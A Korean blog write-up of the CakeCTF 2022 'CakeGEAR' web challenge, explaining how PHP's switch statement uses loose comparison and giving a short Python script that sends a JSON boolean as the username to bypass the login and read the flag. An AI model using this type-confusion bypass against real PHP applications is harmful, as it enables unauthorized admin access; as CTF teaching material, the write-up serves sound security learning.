CTF/웹해킹

[CakeCTF] CakeGEAR - 웹해킹 / PHP Type Confusion

SecurityMan 2022. 10. 8. 11:00

 

PHP 와 관련된 웹해킹 문제

 

난이도가 warmup 이라고 되어있는데

 

마냥 쉽지만은 않은 문제였다.

 

반응형

 

문제 페이지 주소와 함께

 

문제 소스코드도 같이 주어졌다.

 

 

문제 페이지에 접속해보면 이런 화면이 나온다.

 

CakeWiFi 로그인 페이지가 나오는데

 

 

시험삼아 admin / admin 으로 입력해봤더니

 

역시나 Invalid credential 이라면서 접근이 거부됐다.

 

 

문제 소스코드로는 이렇게 세 파일이 주어진다.

 

이중 Dockerfile 은 문제 환경 구성을 위한것이니 제외하고

 

실질적으로 PHP 코드는 admin.php / index.php 에 들어있다.

 

<?php
session_start();
if (empty($_SESSION['login']) || $_SESSION['login'] !== true) {
    header("Location: /index.php");
    exit;
}

if ($_SESSION['admin'] === true) {
    $mode = 'admin';
    $flag = file_get_contents("/flag.txt");
} else {
    $mode = 'guest';
    $flag = "***** Access Denied *****";
}
?>

 

먼저 admin.php 의 php 부분만 잘라와 봤다.

 

$_SESSION 이 admin 인지 === 을 써서 강한 비교를 수행하고,

 

만약 맞으면 /flag.txt 파일에서 내용을 가져와 출력시켜준다.

 

만약 $_SESSION 이 admin이 아닐 경우 ***** Access Denied ***** 라는 문구가 출력된다.

 

=== 로 비교를 하게 되면 == 과 달리 값이 같고, 자료형까지 같아야 True 를 리턴하게 된다.

 

<?php
session_start();
$_SESSION = array();
define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e');

/* Router login API */
$req = @json_decode(file_get_contents("php://input"));
if (isset($req->username) && isset($req->password)) {
    if ($req->username === 'godmode'
        && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
        /* Debug mode is not allowed from outside the router */
        $req->username = 'nobody';
    }

    switch ($req->username) {
        case 'godmode':
            /* No password is required in god mode */
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
            break;

        case 'admin':
            /* Secret password is required in admin mode */
            if (sha1($req->password) === ADMIN_PASSWORD) {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = true;
            }
            break;

        case 'guest':
            /* Guest mode (low privilege) */
            if ($req->password === 'guest') {
                $_SESSION['login'] = true;
                $_SESSION['admin'] = false;
            }
            break;
    }

    /* Return response */
    if (isset($_SESSION['login']) && $_SESSION['login'] === true) {
        echo json_encode(array('status'=>'success'));
        exit;
    } else {
        echo json_encode(array('status'=>'error'));
        exit;
    }
}
?>

 

다음은 index.php 의 php 코드 부분이다.

 

여러가지 조건문들이 눈에 보인다.

 

먼저 username 이 godmode 인 경우, 127.0.0.1 에서 접근했는지 확인한 후, 

 

127.0.0.1 에서 접근한 것이 아니라면 nobody 로 바꿔버린다.

 

127.0.0.1에서 접근했다면 switch 문으로 진입해

 

$_SESSION['login'] 과 $_SESSION['admin'] 을 true 로 바꾸고, break 를 한다.

 

username 이 admin 이라면 사용자가 password에 입력한 값의 sha1 해시가

 

ADMIN_PASSWORD 로 정의된 f365691b6e7d8bc4e043ff1b75dc660708c1040e 과 같은지 비교하고,

 

같다면 $_SESSION['login'] 과 $_SESSION['admin'] 을 true 로 바꾸고, break 를 한다.

 

마지막으로 username이 guest 라면, 비밀번호가 guest 인지 확인하고,

 

$_SESSION['login'] 를 true,  $_SESSION['admin'] 를 false 로 바꾼 뒤 break 를 한다.

 

 

이제 어느정도 시스템을 파악했으니 로그인을 한번 해본다.

 

username 과 password 에 각각 guest / guest 라고 입력해보면

 

로그인이 되지만, 아까 봤던대로 FLAG 에는 ***** Access Denied ***** 가 적혀있는것을 볼 수 있다.

 

 

로그인 데이터를 서버로 전달할 때,

 

개발자 도구의 네트워크 탭을 이용해 payload 를 확인한 결과

 

{username : "guest", password : "guest"} 처럼 JSON 형태로 데이터를 전달하는것을 확인했다.

 

이 문제의 해답은 switch 문에 있다.

 

코드를 보면, 대부분의 비교문에서 === 을 이용해 강한 비교를 하고 있어 취약점이 발생하기 어렵다.

 

하지만 switch 문의 경우 내부적으로 == 을 사용해 약한 비교를 하고 있어 취약점이 발생한다.

 

import requests
import json

url = 'http://web1.2022.cakectf.com:8005/'
data = {"username": True, "password": "guest"}

session = requests.session()
r = session.post(url, data=json.dumps(data))
url = url+'admin.php'
r2 = session.get(url)
print(r2.text)

 

문제를 푸는 코드는 위처럼 아주 간단하다.

 

{username : True, password : "guest"} 형태로,

 

username 에 string 값이 아닌 True 를 넣어주게 되면

 

 

admin 으로 로그인이 되면서

 

플래그가 출력되는것을 볼 수 있다.

반응형